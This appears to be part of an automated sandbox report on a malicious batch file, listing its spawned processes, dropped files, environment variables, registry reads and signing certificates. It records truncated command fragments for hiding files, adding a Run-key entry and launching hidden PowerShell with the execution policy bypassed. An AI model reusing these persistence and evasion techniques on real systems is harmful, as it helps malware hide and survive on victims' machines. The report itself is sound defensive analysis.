00000000-00003392-00000BC0-1424545660] Observed system executable string:"%WINDIR%\System32\reg.exe" [Source: 00000000-00003392-00000BC0-1424581244] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00003392-00000BC0-1429774143] Observed system executable string:"%WINDIR%\system32\attrib.exe" [Source: 00000000-00003392-00000C47-1811067482] Observed system executable string:"%WINDIR%\system32\reg.exe" [Source: 00000000-00003392-00000C47-1894044818] Observed system executable string:""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\sfa3g1o3\sfa3" [Source: 00000000-00005572-00000C47-19105009913]3e:T1a35,Process "cmd.exe" (UID: 00000000-00003392) was launched with new environment variables: "paint="92", Negotiate="1", USERDNSDOMAIN="DESKTOP-FVVF82A", Mirror="1", REDUCE="1", R5X7J="1", MENTAL="12508", LEARN="1", Wake="1"" Process "cmd.exe" (UID: 00000000-00003392) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, ProgramFiles, CommonProgramFiles, NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00003392) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "attrib.exe" (UID: 00000000-00004228) was launched with new environment variables: "Name="7380", murder="C:\", Cold="0", Effectively="1", Worry="82", Immigrant="8", secret="C:\", LOAN="76", Found="21204", meal="1"" Process "attrib.exe" (UID: 00000000-00004228) was launched with modified environment variables: "PROMPT, MENTAL" Process "powershell.exe" (UID: 00000000-00004500) was launched with new environment variables: "MANAGER="96", unusual="19177", Distribution="%TEMP%\Everyday.ps1", PROPOSE="15706", Money="844", Someone="844"" Process "csc.exe" (UID: 00000000-00003148) was launched with new environment variables: "computername="DESKTOP-FVVF82A", pathext=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", path="C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%APPDATA%\nvm;C:\Program Files\nodejs;%APPDATA%\nvm;C:\Program Files\nodejs", comspec="%WINDIR%\system32\cmd.exe", tmp="%LOCALAPPDATA%\Temp", reduce="1", sslkeylogfile="%TEMP%\sslkey.txt", userprofile="C:\Users\%OSUSER%", propose="15706", programfiles="C:\Program Files", processor_level="6", userdomain_roamingprofile="DESKTOP-FVVF82A", commonprogramfiles(x86)="%PROGRAMFILES%\(x86)\Common Files", mirror="1", processor_architecture="AMD64", logonserver="%HOSTNAME%", distribution="%TEMP%\Everyday.ps1", nvm_symlink="%PROGRAMFILES%\nodejs", found="21204", immigrant="8", manager="96", learn="1", programdata="C:\ProgramData", nvm_home="%APPDATA%\nvm", programfiles(x86)="%PROGRAMFILES%\(x86)", psmodulepath="C:\Users\%OSUSER%\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", onedrive="%USERPROFILE%\OneDrive", systemdrive="C:", programw6432="C:\Program Files", commonprogramfiles="%PROGRAMFILES%\Common Files", homedrive="C:", psexecutionpolicypreference="Bypass", wake="1", homepath="\Users\%OSUSER%", sessionname="Console", processor_revision="4f00", negotiate="1", worry="82", localappdata="%USERPROFILE%\AppData\Local", curl_ca_bundle="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", number_of_processors="8", name="7380", userdnsdomain="DESKTOP-FVVF82A", loan="76", processor_identifier="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", r5x7j="1", cold="0", mental="12511", systemroot="C:\WINDOWS", userdomain="DESKTOP-FVVF82A", commonprogramw6432="%PROGRAMFILES%\Common Files", allusersprofile="C:\ProgramData", public="C:\Users\Public", temp="%LOCALAPPDATA%\Temp", os="Windows_NT", effectively="1", money="844", someone="844", prompt="8", _clrrestrictsecattributes="1", appdata="%USERPROFILE%\AppData\Roaming", username="%OSUSER%"" Process "csc.exe" (UID: 00000000-00003148) was launched with missing environment variables: "NVM_SYMLINK, SSLKEYLOGFILE, SESSIONNAME, ALLUSERSPROFILE, Negotiate, SystemDrive, MANAGER, USERNAME, ProgramFiles(x86), PATHEXT, Cold, HOMEPATH, PROCESSOR_IDENTIFIER, Distribution, ProgramFiles, PUBLIC, Immigrant, PROMPT, OneDrive, APPDATA, MENTAL, Path, COMPUTERNAME, LEARN, Found, ComSpec, HOMEDRIVE, NUMBER_OF_PROCESSORS, USERDOMAIN_ROAMINGPROFILE, PROCESSOR_LEVEL, PROCESSOR_ARCHITECTURE, Name, PSModulePath, USERDNSDOMAIN, CURL_CA_BUNDLE, Effectively, ProgramData, ProgramW6432, Mirror, REDUCE, Worry, PROPOSE, LOCALAPPDATA, USERDOMAIN, LOGONSERVER, Money, LOAN, R5X7J, CommonProgramFiles, OS, NVM_HOME, PROCESSOR_REVISION, Someone, CommonProgramW6432, Wake, SystemRoot, TEMP, USERPROFILE, TMP, CommonProgramFiles(x86)" Process "explorer.exe" (UID: 00000000-00005432) was launched with new environment variables: "NVM_SYMLINK="%PROGRAMFILES%\nodejs", SSLKEYLOGFILE="%TEMP%\sslkey.txt", SESSIONNAME="Console", ALLUSERSPROFILE="C:\ProgramData", SystemDrive="C:", USERNAME="%OSUSER%", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", HOMEPATH="\Users\%OSUSER%", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", ProgramFiles="C:\Program Files", PUBLIC="C:\Users\Public", OneDrive="%USERPROFILE%\OneDrive", APPDATA="%USERPROFILE%\AppData\Roaming", Path="C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%NVM_HOME%;%NVM_SYMLINK%;%APPDATA%\nvm;C:\Program Files\nodejs", COMPUTERNAME="DESKTOP-FVVF82A", ComSpec="%WINDIR%\system32\cmd.exe", HOMEDRIVE="C:", NUMBER_OF_PROCESSORS="2", USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", PROCESSOR_LEVEL="6", PROCESSOR_ARCHITECTURE="AMD64", PSModulePath="%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", USERDNSDOMAIN="DESKTOP-FVVF82A", CURL_CA_BUNDLE="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", LOCALAPPDATA="%USERPROFILE%\AppData\Local", USERDOMAIN="DESKTOP-FVVF82A", LOGONSERVER="%HOSTNAME%", CommonProgramFiles="%PROGRAMFILES%\Common Files", OS="Windows_NT", NVM_HOME="%APPDATA%\nvm", PROCESSOR_REVISION="4f00", CommonProgramW6432="%PROGRAMFILES%\Common Files", SystemRoot="C:\WINDOWS", TEMP="%LOCALAPPDATA%\Temp", USERPROFILE="C:\Users\%OSUSER%", TMP="%LOCALAPPDATA%\Temp", CommonProgramFiles(x86)="%PROGRAMFILES%\(x86)\Common Files"" Process "explorer.exe" (UID: 00000000-00005432) was launched with missing environment variables: "computername, paint, pathext, path, comspec, tmp, reduce, sslkeylogfile, userprofile, propose, programfiles, processor_level, userdomain_roamingprofile, commonprogramfiles(x86), mirror, processor_architecture, logonserver, secret, distribution, nvm_symlink, found, immigrant, manager, learn, programdata, nvm_home, programfiles(x86), psmodulepath, onedrive, systemdrive, programw6432, commonprogramfiles, homedrive, psexecutionpolicypreference, wake, homepath, sessionname, processor_revision, unusual, negotiate, worry, murder, localappdata, curl_ca_bundle, number_of_processors, name, userdnsdomain, loan, processor_identifier, r5x7j, cold, mental, systemroot, userdomain, commonprogramw6432, allusersprofile, public, temp, os, effectively, meal, money, someone, prompt, _clrrestrictsecattributes, appdata, username"3f:T13bb,Observed system executable string:"C:\> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\sfa3g1o3\sfa3g1o3.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\sfa3g1o3\sfa3g1o3.0.cs"Microsoft (R) Visual C# Compiler version 4.8.3761.0for C# 5Copyright (C) Microsoft Corporation. All rights reserved.This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240" [Source: sfa3g1o3.out] Observed system executable string:"/t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\sfa3g1o3\sfa3g1o3.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\sfa3g1o3\sfa3g1o3.0.cs"" [Source: sfa3g1o3.cmdline] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00004500-00000C2E-1409434374] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00004500-00000C2B-1431039773] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00004500-00000C2B-1431173628] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00004500-00000C2B-1431259601] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00004500-00000C2B-1431416061] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00004500-00000C2B-1431466967] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00004500-00000C2B-1431538585] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00004500-00000C2B-1431608145] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00004500-00000C2B-1431701801] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00004500-00000C2B-1431743231] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00004500-00000C2B-1431834646] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00004500-00000C2B-1432111581] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00004500-00000C2B-1432234232] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00004500-00000C2B-1432474569] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00004500-00000C2B-1432480313] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00004500-00000C2B-1432706837] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00004500-00000C2B-1432907249] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00004500-00000C2B-1433339113] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00004500-00000C2B-1433351926] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00004500-00000C2B-1433566382] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00004500-00000C2B-1433702363] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00004500-00000C2B-1433839995] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00004500-00000C2B-1434116905]40:T439,Spawned process "cmd.exe" with commandline "/K "C:\\Inquiry46250BSTMA240-TP316L.bat"" (UID: 00000000-00003392) Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\Microsoft\\Windows\\Templates\\Spread. ..." (UID: 00000000-00004228), Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\Microsoft\\Windows\\Templates\\UNTIL.v ..." (UID: 00000000-00004256) Spawned process "reg.exe" with commandline "reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Ru ..." (UID: 00000000-00004092), Spawned process "powershell.exe" with commandline "powershell -nop -w h -ep bypass -c "try { $c = [IO.File]::ReadA ..." (UID: 00000000-00004500) Spawned process "powershell.exe" with commandline "-nop -w h -ep bypass -f "%TEMP%\\Everyday.ps1"" (UID: 00000000-00005572) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\sfa3g1o3\\sfa3g1o3.cmdline"" (UID: 00000000-00003148) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RESC5EC.tmp" "%TEM ..." (UID: 00000000-00004660)41:T439,Spawned process "cmd.exe" with commandline "/K "C:\\Inquiry46250BSTMA240-TP316L.bat"" (UID: 00000000-00003392) Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\Microsoft\\Windows\\Templates\\Spread. ..." (UID: 00000000-00004228), Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\Microsoft\\Windows\\Templates\\UNTIL.v ..." (UID: 00000000-00004256) Spawned process "reg.exe" with commandline "reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Ru ..." (UID: 00000000-00004092), Spawned process "powershell.exe" with commandline "powershell -nop -w h -ep bypass -c "try { $c = [IO.File]::ReadA ..." (UID: 00000000-00004500) Spawned process "powershell.exe" with commandline "-nop -w h -ep bypass -f "%TEMP%\\Everyday.ps1"" (UID: 00000000-00005572) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\sfa3g1o3\\sfa3g1o3.cmdline"" (UID: 00000000-00003148) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RESC5EC.tmp" "%TEM ..." (UID: 00000000-00004660)42:T81b,The input sample is signed with a certificate issued by "CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 8B:AA:E2:A3:48:3C:0E:62:9D:B5:49:3A:BD:47:60:BA:AD:18:AA:8D; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 27:AC:93:69:FA:F2:52:07:BB:26:27:CE:FA:CC:BE:4E:F9:C3:19:B8; see report for more information) The input sample is signed with a certificate issued by "OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group Inc.", C=US" (SHA1: 34:0B:28:80:F4:46:FC:C0:4E:59:ED:33:F5:2B:3D:08:D6:24:29:64; see report for more information) The input sample is signed with a certificate issued by "OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group Inc.", C=US" (SHA1: 27:96:BA:E6:3F:18:01:E2:77:26:1B:A0:D7:77:70:02:8F:20:EE:E4; see report for more information) The input sample is signed with a certificate issued by "CN=R13, O=Let's Encrypt, C=US" (SHA1: 2C:14:E7:F7:AF:95:66:3D:AA:42:A9:D8:6C:4F:83:5C:67:84:D0:94; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 22:FF:89:58:65:61:FC:2D:52:F7:74:91:E9:F1:EF:F1:B8:0B:E3:3E; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 0E:5F:FD:62:0D:F5:07:7D:F7:8B:EE:31:EC:87:8B:48:4B:91:CC:BC; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information)43:T712,Found string "Add-Content" (Indicator: "Add-Content"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "New-PSDrive" (Indicator: "New-PSDrive"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Add-PSSnapIn" (Indicator: "Add-PSSnapIn"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp")44:T520,"Spread.bat" has type "DOS batch file ASCII text with very long lines (63576) with CRLF line terminators"- Location: [%APPDATA%\Microsoft\Windows\Templates\Spread.bat]- [targetUID: 00000000-00003392] "Everyday.ps1" has type "Unicode text UTF-8 (with BOM) text with very long lines (64985)"- Location: [%TEMP%\Everyday.ps1]- [targetUID: 00000000-00003392] "UNTIL.vbs" has type "ASCII text with CRLF line terminators"- Location: [%APPDATA%\Microsoft\Windows\Templates\UNTIL.vbs]- [targetUID: 00000000-00003392] "sfa3g1o3.out" has type "Unicode text UTF-8 (with BOM) text with very long lines (433) with CRLF CR line terminators"- Location: [%TEMP%\sfa3g1o3\sfa3g1o3.out]- [targetUID: 00000000-00005572] "sfa3g1o3.0.cs" has type "Unicode text UTF-8 (with BOM) text"- Location: [%TEMP%\sfa3g1o3\sfa3g1o3.0.cs]- [targetUID: 00000000-00005572] "sfa3g1o3.cmdline" has type "Unicode text UTF-8 (with BOM) text with very long lines (370) with no line terminators"- Location: [%TEMP%\sfa3g1o3\sfa3g1o3.cmdline]- [targetUID: 00000000-00005572] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00004500] "Spread.bat%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A]45:T71d,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "")46:Taee,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "CMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "DISABLECMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COMMAND PROCESSOR"; Key: "DISABLEUNCCHECK"; Value: "")47:Ta58,"cmd.exe" trying to access non-existent file "C:\POWERSHELL.EXE" "cmd.exe" trying to access non-existent file "C:\powershell.exe" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\BCRYPT.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.DLL" 